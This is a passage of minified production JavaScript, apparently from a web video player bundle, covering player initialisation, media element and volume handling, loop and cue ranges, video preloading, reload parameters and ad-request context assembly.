this.Wam,I.nonfatalerror=this.pkW,I.reloadplayer=this.QW7,I);this.AK=new g.nj(this);g.y(this,this.AK);this.wD=new dP;g.y(this,this.wD);this.BL=this.tV=-1;this.Z2=new g.wX(this.template.resize,16,this.template);g.y(this,this.Z2);this.VF=new Fz5(this.qj,this.Cf,this.j8(),this);this.uR=new JN(this.Cf);this.bb=new yM(this);g.y(this,this.bb);this.KM=new gq(this);g.y(this,this.KM);C55(this.Cf.C.c);this.events.V(this.qj,g.$m("appapi"),this.JMc);this.events.V(this.qj,g.Hv("appapi"),this.t8W);this.events.V(this.qj,
g.$m("appprogressboundary"),this.zLv);this.events.V(this.qj,g.Hv("applooprange"),this.oK);this.events.V(this.qj,"presentingplayerstatechange",this.Ot);this.events.V(this.qj,"resize",this.roy);this.template.yU(WR(document,x));this.events.V(this.qj,"offlineslatestatechange",this.aky);this.events.V(this.qj,"sabrCaptionsTrackChanged",this.Gyf);this.events.V(this.qj,"sabrCaptionsBufferedRangesUpdated",this.Nb9);this.Fa.U.Y().nU&&nb(this.Fa,"offline");this.Cf.Ee&&g.b8("ux",g.n_);x=g.Z9(this.Cf.experiments,
"html5_defer_fetch_att_ms");this.Cw=new g.wX(this.CqW,x,this);g.y(this,this.Cw);this.Wk().eD()&&(g.LS()&&this.Wk().Hv.push("remote"),qjD(this));this.MJ.tick("fs");Za5(this);this.Cf.Ee&&nb(this.Fa,"ux",!0);g.zw(this.Fa.U.Y())&&nb(this.Fa,"embed");this.B("web_player_sentinel_is_uniplayer")||g.Vh(new g.CS("Player experiment flags missing","web_player_sentinel_is_uniplayer"));x=this.B("web_player_sentinel_yt_experiments_sync");I=g.R6("web_player_sentinel_yt_experiments_sync");x!==I&&g.Vh(new g.CS("b/195699950",
{yt:x,player:I}));t||g.Vh(new g.CS("b/179532961"));this.UP=jBf(this);if(t=g.Z9(this.Cf.experiments,"html5_block_pip_safari_delay"))this.s4=new g.wX(this.l9,t,this),g.y(this,this.s4);VX=this.Cf.rp;t=g.Z9(this.Cf.experiments,"html5_performance_impact_profiling_timer_ms");t>0&&(this.ZC=new g.SL(t),g.y(this,this.ZC),this.events.V(this.ZC,"tick",function(){H.jS&&eAX.II("apit",H.jS);H.jS=eAX.J2()}));
this.qj.publish("applicationInitialized");this.logger.debug("constructor end")};
jBf=function(x){function T(t){t.stack&&t.stack.indexOf("player")!==-1&&(x.VU()||x.j8()).hL(t)}
GM.subscribe("handleError",T);fr.push(T);return function(){GM.unsubscribe("handleError",T);var t=fr.indexOf(T);t!==-1&&fr.splice(t,1)}};
Ib4=function(x){var T=new g.NE(x.Cf,x.config.args);x.qj.publish("initialvideodatacreated",T);return g.Pm(x,1,T)};
EfH=function(x){var T=x.j8();T.setPlaybackRate(x.Cf.K?1:lb3(x,Number(g.VT("yt-player-playback-rate"))||1));T.gR(x.IL,x);T.Op()};
Ha3=function(x){var T="",t=OD3(x);t.indexOf("//")===0&&(t=x.Cf.protocol+":"+t);var u=t.lastIndexOf("/base.js");u!==-1&&(T=t.substring(0,u+1));if(t=Error().stack)if(t=t.match(/\((.*?\/(debug-)?player-.*?):\d+:\d+\)/))t=t[1],t.includes(T)||g.Vh(Error("Player module URL mismatch: "+(t+" vs "+T+".")));T=new vpJ(x.qj,T);mhH(x,T);return T};
mhH=function(x,T){var t={};t=(t.destroyed=function(){x.onApiChange()},t);
T.j=t};
$hD=function(x){if(x.Cf.storeUserVolume){x=g.VT("yt-player-volume")||{};var T=x.volume;x={volume:isNaN(T)?100:g.iu(Math.floor(T),0,100),muted:!!x.muted}}else x={volume:100,muted:x.Cf.mute};return x};
S2=function(x){x.mediaElement=x.Cf.deviceIsAudioOnly?new g.i8(g.Xn("AUDIO")):ao.pop()||new g.i8(g.Xn("VIDEO"));g.y(x,x.mediaElement);var T=x.VU();T&&T.setMediaElement(x.mediaElement);try{x.Cf.FD?(x.dA&&x.events.f2(x.dA),x.dA=x.events.V(x.mediaElement,"volumechange",x.suU)):(x.mediaElement.g5(x.W_.muted),x.mediaElement.setVolume(x.W_.volume/100))}catch(H){x.uf("html5.missingapi",2,"UNSUPPORTED_DEVICE","setvolume.1;emsg."+(H&&typeof H==="object"&&"message"in H&&typeof H.message==="string"&&H.message.replace(/[;:,]/g,
"_")));return}g.zx(x.AK);dhX(x);T=x.template;var t=x.mediaElement.yA();T.zs=t;T.cj=!1;T.zs.parentNode||tn(T.oI,T.zs,0);T.GF=new g.Hf(0,0,0,0);of3(T);M1(T);t=T.zs;g.uY(t,"video-stream");g.uY(t,g.CT.MAIN_VIDEO);var u=T.app.Y();u.e7&&t.setAttribute("data-no-fullscreen","true");u.B("html5_local_playsinline")?"playsInline"in Ft()&&(t.playsInline=!0):u.yS&&(t.setAttribute("webkit-playsinline",""),t.setAttribute("playsinline",""));u.tJ&&T.zs&&T.V(t,"click",t.play,t);try{x.mediaElement.activate()}catch(H){x.uf("html5.missingapi",
2,"UNSUPPORTED_DEVICE","activate.1;emsg."+(H&&typeof H==="object"&&"message"in H&&typeof H.message==="string"&&H.message.replace(/[;:,]/g,"_")))}};
AIv=function(x){if(!M_H(x)){var T=x.j8().Bt();T&&(T=T.Qf(),T instanceof Promise&&T.catch(function(){}));
cm(x,je(x.getPlayerStateObject()))}};
dhX=function(x){var T=x.mediaElement;GY()?x.AK.V(T,"webkitpresentationmodechanged",x.wt9):window.document.pictureInPictureEnabled&&(x.AK.V(T,"enterpictureinpicture",function(){x.ue(!0)}),x.AK.V(T,"leavepictureinpicture",function(){x.ue(!1)}));
Or&&(x.AK.V(T,"webkitbeginfullscreen",function(){x.bM(3)}),x.AK.V(T,"webkitendfullscreen",function(){x.bM(0)}))};
RA3=function(x,T){var t=T.getPlayerType(),u=x.UY.pz(t);T!==x.j8()&&T!==u&&(u==null||f8(u),x.UY.j[t]=T)};
PpC=function(x,T){T=T===void 0?!0:T;x.logger.debug("start clear presenting player");var t;if(t=x.bI){t=x.bI;var u=x.mediaElement;t=!!u&&u===t.mediaElement}t&&(x.Jm(),S2(x));if(t=x.VU())t.Jm(!T),t.Pr(x.y$,x),t.getPlayerType()!==1&&f8(t);x.UY.K=null;x.logger.debug("finish clear presenting player")};
g.Pm=function(x,T,t,u){var H=x.MJ;T===2&&(H=new t6V(x.Cf));return new g.A6(x.Cf,T,H,x.template,function(I,E,Z){x.qj.publish(I,E,Z)},function(){return x.qj.getVisibilityState()},x.visibility,x,t,u)};
Sjm=function(x,T,t,u){x=g.Pm(x,T,t,u);x.Op();return x};
YR=function(x,T){return x.CC(T)?x.j8():T};
UJ=function(x,T){var t=x.VU(),u=x.j8();return t&&T===u&&x.CC(T)&&x.CC(t)?t:T};
UhJ=function(x){x.logger.debug("start application playback");if(x.j8().getPlayerState().isError())x.logger.debug("start application playback done, player in error state");else{var T=bs(x);x.Wk().isLoaded();T&&x.yp(6);cIJ(x);yNm(x.Fa)||YjX(x)}};
YjX=function(x){if(!bs(x)){var T=g_(x.Fa);T&&!T.created&&V65(x.Fa)&&(x.logger.debug("reload ad module"),T.create())}};
cIJ=function(x){x.logger.debug("start presenter playback");var T=x.getVideoData(),t=x.Fa;yNm(t)||t.ZT();!ia5&&t.U.B("html5_allow_asmjs")&&O_5(t);nb(t,"embed");nb(t,"kids");nb(t,"remote");nb(t,"miniplayer");nb(t,"offline");nb(t,"unplugged");nb(t,"ypc",!1,!0);nb(t,"ypc_clickwrap",!1,!0);nb(t,"yto",!1,!0);nb(t,"webgl",!1,!0);NqV(t)||(nb(t,"captions",!0),nb(t,"endscreen"),t.n8()||t.yn(),nb(t,"creatorendscreen",!0));t.G6();x.qj.publish("videoready",T)};
rP=function(x){x=x.Wk();x.eD();return N$(x)};
Za5=function(x){x.logger.debug("start prepare initial playback");x.lK();var T=x.config.args;S2(x);var t=x.Wk();x.qj.gN("onVolumeChange",x.W_);if(T&&i_i(T)){var u=QZ(x.Cf);u&&!x.fU&&(T.fetch=0);var H=g.zw(x.Cf);H&&!x.fU&&(T.fetch=0);zD(x,T);g.zw(x.Cf)&&x.MJ.tick("ep_pr_s");if(!u||x.fU)if(H&&!x.fU)ba3(x);else if(!t.eD())x.playlist.onReady(function(){kR(x)})}x.Us(x.j8());
g.p(x.j8().getPlayerState(),128)||(T=IyH(!x.Cf.deviceIsAudioOnly),T==="fmt.noneavailable"?x.uf("html5.missingapi",2,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK","nocodecs.1"):T==="html5.missingapi"?x.uf(T,2,"UNSUPPORTED_DEVICE","nocanplaymedia.1"):t&&t.eD()&&rP(x)&&(x.Cf.aH||x.Cf.WU)?Fy(x):t.ZH?x.qj.mutedAutoplay({durationMode:t.mutedAutoplayDurationMode}):g.VT("yt-player-playback-on-reload")?(g.io("embedsItpPlayedOnReload",{playedOnReload:!0,isLoggedIn:!!x.Cf.uG}),g.vc("yt-player-playback-on-reload",!1),
Fy(x)):T8(x.Cf)||rIC(x),g.f1(x.Cf)||wV(x.Cf)==="MWEB"?(g.wx(g.XM(),function(){ho(x)}),g.wx(g.XM(),function(){dDi()})):(ho(x),dDi()),x.logger.debug("finish prepare initial playback"))};
ho=function(x){if(!x.B("use_rta_for_player"))if(x.B("fetch_att_independently"))g.Kt(x.Cw);else{var T=x.getVideoData().botguardData;T&&g.gI(T,x.Cf,x.getVideoData().iR||"")}};
rIC=function(x){x.logger.debug("start initialize to CUED mode");x.qj.publish("initializingmode");x.yp(2);x.B("embeds_web_enable_defer_loading_remote_js")&&g.K1(x.Cf)?g.wx(g.XM(),function(){nb(x.Fa,"remote")}):nb(x.Fa,"remote");
nb(x.Fa,"miniplayer");x.logger.debug("initialized to CUED mode")};
Fy=function(x){x.logger.debug("start initialize application playback");var T=x.j8();if(g.p(T.getPlayerState(),128))return!1;var t=T.getVideoData();rP(x)&&x.Cf.WU&&(ao.length&&x.mj?(vm(x,{muted:!1,volume:x.W_.volume},!1),VN(x,!1)):ao.length||x.W_.muted||(vm(x,{muted:!0,volume:x.W_.volume},!1),VN(x,!0)));rP(x)&&g.zw(x.Cf)&&t.mutedAutoplay&&(vm(x,{muted:!0,volume:x.W_.volume},!1),VN(x,!0));t.ZM&&vm(x,{muted:!0,volume:x.W_.volume},!1);zAq(x,1,t,!1);x.qj.publish("initializingmode");x.Us(x.j8());x.yp(3);
var u;if(!(u=!x.Cf.Qw)){if(u=x.bI){u=x.bI;var H=x.mediaElement;u=!!H&&H===u.mediaElement}u=u&&x.Y5}u&&(x.Jm(),S2(x),T.setMediaElement(x.mediaElement));T.fI();if(g.p(T.getPlayerState(),128))return!1;t.k$||cm(x,3);return x.Y5=!0};
bs=function(x){x=zt(x.Fa);return!!x&&x.loaded};
kR3=function(x,T){if(!x.TI)return!1;var t=x.TI.startTimeMs*.001-1,u=x.TI.endTimeMs*.001;x.TI.type==="repeatChapter"&&u--;return Math.abs(T-t)<=1E-6||Math.abs(T-u)<=1E-6||T>=t&&T<=u};
vf4=function(x){var T=x.VU();T&&tB(T.getVideoData())&&!T.Z_()&&(T=F2X(x)*1E3-x.getVideoData().oD,x.B("html5_gapless_new_slr")?(x=x.KM,hAf(x.app,"gaplessshortslooprange"),T=new g.te(0,T,{id:"gaplesslooprange",namespace:"gaplessshortslooprange"}),(x=x.app.VU())&&x.addCueRange(T)):x.setLoopRange({startTimeMs:0,endTimeMs:T,type:"shortsLoop"}))};
V_q=function(x){var T=x.j8();if(!(g.p(T.getPlayerState(),64)&&x.Wk().isLivePlayback&&x.TI.startTimeMs<5E3)){if(x.TI.type==="repeatChapter"){var t,u=(t=FkJ(x.xm()))==null?void 0:t.gV(),H;t=(H=x.getVideoData())==null?void 0:H.WD;u instanceof g.x6&&t&&(H=t[AD(t,x.TI.startTimeMs)],u.renderChapterSeekingAnimation(0,H.title));isNaN(Number(x.TI.loopCount))?x.TI.loopCount=0:x.TI.loopCount++;x.TI.loopCount===1&&x.qj.XW("innertubeCommand",x.getVideoData().Tk)}u={wp:"application_loopRangeStart"};if(x.TI.type===
"clips"||x.TI.type==="shortsLoop")u.seekSource=58;T.seekTo(x.TI.startTimeMs*.001,u)}};
lb3=function(x,T){var t=x.qj.getAvailablePlaybackRates();T=Number(T.toFixed(2));x=t[0];t=t[t.length-1];T<=x?T=x:T>=t?T=t:(x=Math.floor(T*100+.001)%5,T=x===0?T:Math.floor((T-x*.01)*100+.001)/100);return T};
F2X=function(x,T){T=x.pz(T);if(!T)return x.UY.C.fT();T=YR(x,T);return GD(x,T.fT(),T)};
GD=function(x,T,t){if(x.CC(t)){t=t.getVideoData();if(L6(x))t=T;else{x=x.VF;for(var u=g.S(x.Z),H=u.next();!H.done;H=u.next())if(H=H.value,t.k6===H.k6){T+=H.GI/1E3;break}u=T;x=g.S(x.Z);for(H=x.next();!H.done;H=x.next()){H=H.value;if(t.k6===H.k6)break;var I=H.GI/1E3;if(I<T)u+=H.durationMs/1E3+I-H.Pt/1E3;else break}t=u}return t}return T};
GRV=function(x,T){if(x.getPresentingPlayerType()===3)return je(zt(x.Fa).Zx);if((x.getVideoData().enableServerStitchedDai||g.pB(x.getVideoData()))&&T===2){var t,u;return((t=x.vt)==null?0:t.h$(x.getCurrentTime()))||((u=x.zI)==null?0:u.h$())?x.tV:-1}return T!==2||x.CC()?x.tV:x.BL};
qjD=function(x){x.logger.debug("reset for new application playback");n6(x);x.setLoopVideo(!1);x.setLoopRange(null);x.qj.publish("legacyadtrackingpingreset");x.wT={};x.r5=[];$7f(x.MJ);if(x.vt){var T=x.vt,t=x.j8();t.getPlayerType();sJ(T,!1);wGC(T);KG4(T);T.playback=t}T=x.VF;x=x.j8();x.getPlayerType()!==1&&is(T,"invalidParentVideoPlayerType");ZU(T,!1);N1i(T);T.C=x};
ba3=function(x,T){var t=(T?T:x.Wk()).d4;x.MJ.tick("ep_pr_r");if(t!=null&&(Z_V(x.playlist,t),x.g0))x.playlist.onReady(function(){kR(x,T)})};
zD=function(x,T){x.playlist&&(g.IP(x.playlist),x.playlist=null);T&&(x.fU&&(T.fetch=0),x.playlist=new H_m(x.Cf,T))};
L2v=function(x){var T,t=Number((T=x.getVideoData().progressBarEndPosition)==null?void 0:T.utcTimeMillis)/1E3;!isNaN(t)&&(T=x.p4())&&(T-=x.getCurrentTime(),t=(t-T)*1E3,T=x.wT.progressEndBoundary,(T==null?void 0:T.start)!==t&&(T&&x.YR([T]),t=new g.te(t,0x7ffffffffffff,{id:"progressEndBoundary",namespace:"appprogressboundary"}),x.j8().addCueRange(t),x.wT.progressEndBoundary=t))};
cm=function(x,T){x.logger.debug(function(){return"set external state "+T});
var t=x.VU();if(t){var u=t.getPlayerType();if(u===2&&!x.CC()){x.BL!==T&&(x.BL=T,x.qj.gN("onAdStateChange",T));return}if(u===2&&x.CC()||u===5||u===6||u===7)if(T===-1||T===0||T===5)return}if(T===0){if(x.TI)return;if((t==null?0:t.RX())&&g.bS(x.Cf)){x.playVideo();return}}x.tV!==T&&(x.tV=T,x.qj.gN("onStateChange",T))};
nf3=function(x,T,t,u,H){u=u===void 0?Infinity:u;H=H===void 0?0:H;x.logger.debug(function(){return"Enqueuing playerType="+t+" at time="+u+"\n        videoId="+T.videoId});
var I=x.VU();t=t||I.getPlayerType();(I=zAq(x,t,T,!0))||(I=Sjm(x,t,T).H$);var E=x.j8();if(t===2&&E){var Z=I.getVideoData();E.Es(Z.clientPlaybackNonce,Z.Zk||"",Z.breakType||0,Z.tI,Z.videoId||"")}x.GL(I,u,0,H)};
ab3=function(x,T,t,u,H){var I="";I=x.Cf.B("html5_autonav_autoplay_in_preload_key")?ab(x,t,T):gP(x,t,T.videoId,T.k6);x.logger.debug(function(){return"start preload video "+I+", trigger="+H});
var E="",Z=x.VU();if(Z&&(E=x.Cf.B("html5_autonav_autoplay_in_preload_key")?ab(x,Z.getPlayerType(),Z.getVideoData()):gP(x,Z.getPlayerType(),Z.getVideoData().videoId,Z.getVideoData().k6),I===E))return Z.Ou(!0),T.dispose(),null;T.C4=!0;T=Sjm(x,t,T);t===1&&ws(x.Cf)||T.Ou(!0);x.UY.Z.set(I,T.H$,u||3600);return T};
gfX=function(x,T,t,u){var H=Hc(t);return gP(x,T,H,u,t.autonav==="1"||t.autonav===!0,t.autoplay==="1"||t.autoplay===!0||t.autoplay===1)};
ab=function(x,T,t){return gP(x,T,t.videoId,t.k6,t.isAutonav,t.MK)};
gP=function(x,T,t,u,H,I){H=H===void 0?!1:H;I=I===void 0?!1:I;T=T+"_"+t+"_"+u;x.Cf.B("html5_autonav_autoplay_in_preload_key")&&(T+="_"+ +H+ +I);return T};
zAq=function(x,T,t,u){var H=x.Cf.B("html5_autonav_autoplay_in_preload_key")?ab(x,T,t):gP(x,T,t.videoId,t.k6);var I=x.UY.Z.get(H)||null;if(!I||I.Em.T9())return null;x.UY.Z.remove(H);if(g.p(I.getPlayerState(),128))return f8(I),null;if(I===x.pz(T))return x.MJ.infoGel({isCacheHit:!0}),I;if((I.getVideoData().oauthToken||t.oauthToken)&&I.getVideoData().oauthToken!==t.oauthToken)return null;T===1&&n6(x);u||x.Us(I,!0);x.MJ.infoGel({isCacheHit:!0});return I};
BAm=function(x,T){var t;return T&&x.Cf.CB&&!((t=x.getVideoData())==null?0:t.backgroundable)};
W2H=function(x,T){return BAm(x,T)?(x.s4?x.s4.start():x.l9(),!0):!1};
Bm=function(x,T,t){T&&(T=x.pz(t))&&T===x.j8()&&(T.getVideoData().cS=!0)};
Wm=function(x,T,t){t=t===void 0?1:t;x.logger.debug(function(){return"start cue video, vid "+T.videoId+", type "+t});
if(T.eD()){var u=g.Pm(x,t,T).H$;x.cancelPlayback(4,t);x.Us(u);u.Op();if(t===1){x.yp(1);if(g.zw(x.Cf)&&!XU(T)){T.dispose();f8(x.j8());return}rIC(x)}x.logger.debug("finish cue video")}else x.logger.debug(function(){return"invalid VideoData in cueVideo"}),T.dispose(),(u=x.pz(t))&&f8(u),fm(x.Wk())&&t===2&&x.SJ()};
Dh3=function(x,T,t,u,H){T=rbf(T,t,u,H);(t=g.zw(x.Cf)&&!x.Cf.jY)&&!x.fU&&(T.fetch=0);zD(x,T);g.zw(x.Cf)&&x.MJ.tick("ep_a_pr_s");if(t&&!x.fU)t=x.Wk(),l84(t,T).then(function(I){x.g0=!0;ba3(x,I)});
else x.playlist.onReady(function(){kR(x)});
g.zw(x.Cf)&&x.MJ.tick("ep_a_pr_r")};
kR=function(x,T){var t=g.zw(x.Cf)&&!x.Cf.jY,u=t&&T?T:g.YM(x.playlist);T=t&&T?T:x.getVideoData();u&&(T.VL&&(x.Cf.aH||x.Cf.WU)||!x.Bx?(T=T.cS,u=x.qX(u,1),T&&Bm(x,u)):Wm(x,u,1));g.zw(x.Cf)&&x.MJ.tick("ep_p_l");x.g0=!1;x.qj.jD("onPlaylistUpdate")};
M_H=function(x){if(x.playlist&&g.Gw(x.Cf)&&x.N5()){var T=x.Cf.B("html5_player_autonav_logging");x.nextVideo(!1,T);return!0}return!1};
yI5=function(x,T,t,u,H,I,E){T={id:T,namespace:E!=null?E:"appapi"};I==="chapter"?(T.style=o7.CHAPTER_MARKER,T.visible=!0):isNaN(H)||(I==="ad"?T.style=o7.AD_MARKER:(T.style=o7.TIME_MARKER,T.color=H),T.visible=!0);x.GT([new g.te(t*1E3,u*1E3,T)],1);return!0};
NAq=function(x,T,t,u,H,I){I=I===void 0?!0:I;var E=x.p4();if(!E)return I&&x.getVideoData().isLivePlayback&&x.r5.push({id:T,kcW:t,ELW:u}),!1;I=E-x.getCurrentTime();return yI5(x,T,t-I,u-I,void 0,void 0,H)};
JIi=function(x,T){x.r5=g.ES(x.r5,function(E){return E.id!==T});
for(var t=x.j8(),u=t.B_(),H=0;H<u.length;H++){var I=u[H];if(I.getId()===T)return t.removeCueRange(I),DU(x,"cuerangesremoved",[I]),!0}return!1};
hAf=function(x,T,t){var u=x.pz(t);u&&(T=u.Xa(T),t&&x.getPresentingPlayerType()!==t||DU(x,"cuerangesremoved",T))};
Cpv=function(x){var T=(0,g.bo)(),t=x.getCurrentTime();x=x.getVideoData();t=1E3*(t-x.startSeconds);x.isLivePlayback&&(t=0);return T-Math.max(t,0)};
vm=function(x,T,t){x.Cf.nf&&(x.W_=T,T.muted||VN(x,!1),t&&x.Cf.storeUserVolume&&!x.Cf.FD&&(t={volume:Math.floor(T.volume),muted:T.muted},t.unstorable||(g.vc("yt-player-volume",t),g.vc("yt-player-volume",t,2592E3))),QB5(x),t=g.vU&&x.mediaElement&&!x.mediaElement.Ld(),x.Cf.FD&&!t||x.qj.gN("onVolumeChange",{muted:T.muted,volume:T.volume,unstorable:!x.Cf.storeUserVolume}))};
QB5=function(x){var T=x.getVideoData();if(!T.vD){T=x.Cf.FD?1:HFX(T);var t=x.mediaElement;t.g5(x.W_.muted);try{t.setVolume(x.W_.volume*T/100)}catch(u){g.Vh(new g.CS("b183742307","multiplier: "+T+", volume: "+x.W_.volume))}}};
VN=function(x,T){T!==x.mj&&(x.mj=T,x.qj.jD("onMutedAutoplayChange",T))};
me=function(x){return x.mj&&x.getVideoData().mutedAutoplay};
pS3=function(x){var T=dx(!0);return T&&(T===x.template.element||x.mediaElement&&T===x.mediaElement.yA())?T:null};
fbH=function(x,T){var t=window.screen&&window.screen.orientation;if((x.Cf.B("lock_fullscreen2")||x.Cf.J)&&t&&t.lock&&(!g.vU||!Oa4))if(T){T=t.type.indexOf("portrait")===0;var u=x.template.getVideoAspectRatio(),H=T;u<1?H=!0:u>1&&(H=!1);if(!x.h4||H!==T){t=t.lock(H?"portrait":"landscape");if(t!=null)t["catch"](function(){});
x.h4=!0}}else x.h4&&(x.h4=!1,t.unlock())};
DU=function(x,T,t){x.qj.publish(T,t);var u=g.bS(x.Cf)||g.L1(x.Cf)||g.L2(x.Cf);if(t&&u){switch(T){case "cuerangemarkersupdated":var H="onCueRangeMarkersUpdated";break;case "cuerangesadded":H="onCueRangesAdded";break;case "cuerangesremoved":H="onCueRangesRemoved"}H&&x.qj.XW(H,t.map(function(I){return{getId:function(){return this.id},
end:I.end,id:I.getId(),namespace:I.namespace==="ad"?"ad":"",start:I.start,style:I.style,visible:I.visible}}))}};
yN=function(x,T,t,u,H,I){t=t===void 0?!0:t;var E=x.pz(H);E&&(E.getPlayerType()===2&&!x.CC(E)||g.rb(E.getVideoData()))||(x.getPresentingPlayerType()===3?zt(x.Fa).zK("control_seek",T,t):(E&&E===x.j8()&&x.TI&&!kR3(x,T)&&x.setLoopRange(null),x.seekTo(T,t,u,H,I)))};
wSm=function(x,T,t,u){t&&(x.Jm(),S2(x));t=x.VU();t.GJ(T);var H=x.getVideoData(),I={};I.video_id=H.videoId;I.adformat=H.adFormat;H.isLivePlayback||(I.start=t.getCurrentTime(),I.resume="1");H.isLivePlayback&&ZF(H)&&g.Yv(x.Cf)&&(I.live_utc_start=t.p4(),I.resume="1");H.jY&&(I.vvt=H.jY);H.D&&(I.vss_credentials_token=H.D,I.vss_credentials_token_type=H.Hh);H.oauthToken&&(I.oauth_token=H.oauthToken);H.TP&&(I.force_gvi=H.TP);I.autoplay=1;I.reload_count=H.L2+1;I.reload_reason=T;H.pk&&(I.unplugged_partner_opt_out=
H.pk);H.Ap&&(I.ypc_is_premiere_trailer=H.Ap);H.playerParams&&(I.player_params=H.playerParams);x.loadVideoByPlayerVars(I,void 0,!0,void 0,void 0,u);T==="signature"&&x.vt&&YjX(x)};
K2m=function(x,T){x.Wk().autonavState=T;g.vc("yt-player-autonavstate",T);x.qj.publish("autonavchange",T)};
XSD=function(x){var T=x.getVideoData().vD,t=x.Cf.Cz,u=x.isInline()&&!x.getVideoData().LM,H=x.mediaElement;T||t||u?H.yK():(H.hC(),vm(x,x.W_))};
n6=function(x){var T=g_(x.xm());T&&T.created&&(x.logger.debug("reset ad module"),T.destroy())};
L6=function(x){return x.getVideoData().enableServerStitchedDai&&!!x.vt};
xo3=function(x,T){T.bounds=x.getBoundingClientRect();for(var t=g.S(["display","opacity","visibility","zIndex"]),u=t.next();!u.done;u=t.next())u=u.value,T[u]=l2(x,u);T.hidden=!!x.hidden};
OD3=function(x){if(x.webPlayerContextConfig){var T=x.webPlayerContextConfig.trustedJsUrl;return T?SJ(T).toString():x.webPlayerContextConfig.jsUrl}return x.config.assets&&x.config.assets.js?x.config.assets.js:""};
TfV=function(x,T){var t=x.pz(1);if(t){if(t.getVideoData().clientPlaybackNonce===T)return t;if((x=x.bb.C)&&x.getVideoData().clientPlaybackNonce===T)return x}return null};
oEf=function(x){return x.name==="TypeError"&&x.stack.includes("/s/player/")&&Wi()<=105};
tUD=function(x){return x.isTimeout?"NO_BID":"ERR_BID"};
svq=function(){var x=null;vwv().then(function(T){return x=T},function(T){return x=tUD(T)});
return x};
ukD=function(){var x=Y5(1E3,"NO_BID");return RZ(wPC([vwv(),x]).p_(tUD),function(){x.cancel()})};
N1=function(x){return x.L4?g.Wc(g.Bc(),140)?"STATE_OFF":"STATE_ON":"STATE_NONE"};
Jo=function(x){this.player=x;this.j=this.C=1};
ig4=function(x,T,t,u,H,I){T.client||(T.client={});x.player.Y().B("h5_remove_url_for_get_ad_break")||(T.client.originalUrl=t);var E=Hi(t),Z=g.nq(t)?!1:!0;(E||Z)&&typeof Intl!=="undefined"&&(T.client.timeZone=(new Intl.DateTimeFormat).resolvedOptions().timeZone);Z=g.nq(t)?!1:!0;if(E||Z||u!==""){var e={};t=T9(Z2(u)).split("&");var l=new Map;t.forEach(function(m){m=m.split("=");m.length>1&&l.set(m[0].toString(),decodeURIComponent(m[1].toString()))});
l.has("bid")&&(e.bid=l.get("bid"));e.params=[];$o4.forEach(function(m){l.has(m)&&(m={key:m,value:l.get(m)},e.params.push(m))});
HgX(x,e);T.adSignalsInfo=e}T.client.unpluggedAppInfo||(T.client.unpluggedAppInfo={});T.client.unpluggedAppInfo.enableFilterMode=!1;t=H.C.cosver;t!=null&&t!=="cosver"&&(T.client.osVersion=t);t=H.C.cplatform;t!=null&&t!=="cplatform"&&t!==""&&(T.client.platform=t);t=H.C.cmodel;t!=null&&t!=="cmodel"&&(T.client.deviceModel=t);t=H.C.cplayer;t!=null&&t!=="cplayer"&&(T.client.playerType=t);t=H.C.cbrand;t!=null&&t!=="cbrand"&&(T.client.deviceMake=t);T.user||(T.user={});T.user.lockedSafetyMode=!1;(H.B("embeds_web_enable_iframe_api_send_full_embed_url")||
H.B("embeds_enable_autoplay_and_visibility_signals"))&&g.Gw(H)&&GZ3(T,I,x.player.getPlayerState(1))};
qIH=function(x,T){var t=!1;if(T==="")return t;T.split(",").forEach(function(u){var H={},I={clientName:"UNKNOWN_INTERFACE",platform:"UNKNOWN_PLATFORM",clientVersion:""},E="ACTIVE";u[0]==="!"&&(u=u.substring(1),E="INACTIVE");u=u.split("-");u.length<3||(u[0]in InV&&(I.clientName=InV[u[0]]),u[1]in EEX&&(I.platform=EEX[u[1]]),I.applicationState=E,I.clientVersion=u.length>2?u[2]:"",H.remoteClient=I,x.remoteContexts?x.remoteContexts.push(H):x.remoteContexts=[H],t=!0)});
return t};
jvv=function(x){if(!("FLAG_AUTO_CAPTIONS_DEFAULT_ON"in Zgv))return!1;x=x.split(RegExp("[:&]"));var T=Zgv.FLAG_AUTO_CAPTIONS_DEFAULT_ON,t="f"+(1+Math.floor(T/31)).toString();T=1<<Math.floor(T%31);for(var u=0,H=x.length;u<H;u++){var I=x[u].split("=");if(I[0]===t&&parseInt("0x"+I[1],16)&T)return!0}return!1};
HgX=function(x,T){x=x.player.Y();if(g.p1(x)||ws(x)){x=g.pr("INNERTUBE_CONTEXT");var t,u;(x==null?0:(t=x.adSignalsInfo)==null?0:t.advertisingId)&&typeof(x==null?void 0:(u=x.adSignalsInfo)==null?void 0:u.limitAdTracking)!=="undefined"&&(T.advertisingId=x.adSignalsInfo.advertisingId,T.advertisingIdSignalType="DEVICE_ID_TYPE_CONNECTED_TV_IFA",T.limitAdTracking=x.adSignalsInfo.limitAdTracking)}};
PMJ=function(x,T,t,u,H){var I=t.DRIFT_FROM_HEAD_MS&&!Number.isNaN(t.DRIFT_FROM_HEAD_MS)?Math.trunc(t.DRIFT_FROM_HEAD_MS):0,E=eTD.exec(T);E=E!=null&&E.length>=2?E[1]:"";var Z=ln4.test(T),e=moV.exec(T);e=e!=null&&e.length>=2?e[1]:"";var l=doi.exec(T);l=l!=null&&l.length>=2&&!Number.isNaN(Number(l[1]))?Number(l[1]):1;var m=MUf.exec(T);m=m!=null&&m.length>=2?m[1]:"0";var d=B_(x.player.Y().lf),M=x.player.getVideoData(1),A=g.O3(M.Om,!0),R="BISCOTTI_ID"in t?t.BISCOTTI_ID:"";ig4(x,A,T,R.toString(),x.player.Y(),
M);M={splay:!1,lactMilliseconds:t.LACT.toString(),playerHeightPixels:Math.trunc(t.P_H),playerWidthPixels:Math.trunc(t.P_W),vis:Math.trunc(t.VIS),signatureTimestamp:20144,autonavState:N1(x.player.Y())};u&&(u={},qIH(u,t.YT_REMOTE)&&(M.mdxContext=u));if(u=AQf.includes(d)?void 0:g.ny("PREF")){for(var Y=u.split(RegExp("[:&]")),b=0,z=Y.length;b<z;b++){var F=Y[b].split("=");if((F[0].toUpperCase()==="SML"||F[0].toUpperCase()==="GSML")&&F.length>1&&F[1].toUpperCase()==="TRUE"){A.user.lockedSafetyMode=!0;break}}M.autoCaptionsDefaultOn=
